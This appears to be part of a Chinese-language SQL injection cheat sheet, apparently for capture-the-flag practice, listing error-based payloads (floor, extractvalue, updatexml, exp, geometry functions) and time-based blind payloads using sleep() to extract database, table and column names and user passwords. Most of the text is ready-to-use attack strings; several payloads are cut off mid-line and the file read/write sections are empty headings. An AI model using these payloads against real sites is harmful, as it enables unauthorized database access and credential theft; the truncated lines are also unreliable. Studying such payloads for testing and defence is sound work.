六、五大报错注入
利用条件
:页面回显 SQL语句执行的错误信息,例如
mysql_error()
//floor()
id = 1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2
//extractvalue()
id = 1 and (extractvalue(1, concat(0x5c,(select user()))))
updatexml() 函数:
这个函数的第二个参数本应该是合法的
XPATH
路径,否则就会在引发报错的同时将传入的参数
进行输出。我们利用这个特征,当题目存在回显时,将我们想的到的信息传入这个函数的第二个
参数即可查询。
//updatexml()
id = 1 and (updatexml(0x3a,concat(1,(select user()),1)))
//exp()
id =1 and EXP(~(SELECT * from(select user())a))
适用于知道列名不知道表名的情况
//六种函数 (使用方法相同)
//GeometryCollection()
id = 1 AND GeometryCollection((select * from (select * from(select user())a)
//polygon()
id =1 AND polygon((select * from(select * from(select user())a)b))
//multipoint()
id = 1 AND multipoint((select * from(select * from(select user())a)b))
//multilinestring()
id = 1 AND multilinestring((select * from(select * from(select user())a)b))
//linestring()
id = 1 AND LINESTRING((select * from(select * from(select user())a)b))
//multipolygon()
id =1 AND multipolygon((select * from(select * from(select user())a)b))
七、文件读写
7.1 手动
7.1.1写文件
7.1.2 有回显时读取文件
7.1.3 无回显 盲注读取文件
7.2 脚本
八、延时注入
8.1 手动:结合 Burp Respond
当页面上无回显,也没有输出 SQL 语句执行错误信息。正确的 SQL 语句和错误的 SQL 语句返
回页面都一样,可考虑延时注入。
?id=1' and sleep(3)--+
8.1.1 查库
?id=1' and if(length(database())=a,sleep(3),1)--+
//爆破数字 a
?id=1' and if(ascii(substr(database(),a,1))=b,sleep(3),1)--+
//同时爆破 数字 a 和 ascii 值 b
8.1.2 查表
?id=1' and if(ascii(substr((select group_concat(table_name) from information
//同时爆破 数字 a 和 ascii 值 b
8.1.3 查列
?id=1' and if(ascii(substr((select group_concat(column_name) from informatio
//同时爆破 数字 a 和 ascii 值 b
8.1.4 查字段
?id=1' and if(ascii(substr((select group_concat(username) from security.user
?id=1' and if(ascii(substr((select group_concat(password) from security.user
//同时爆破 数字 a 和 ascii 值 b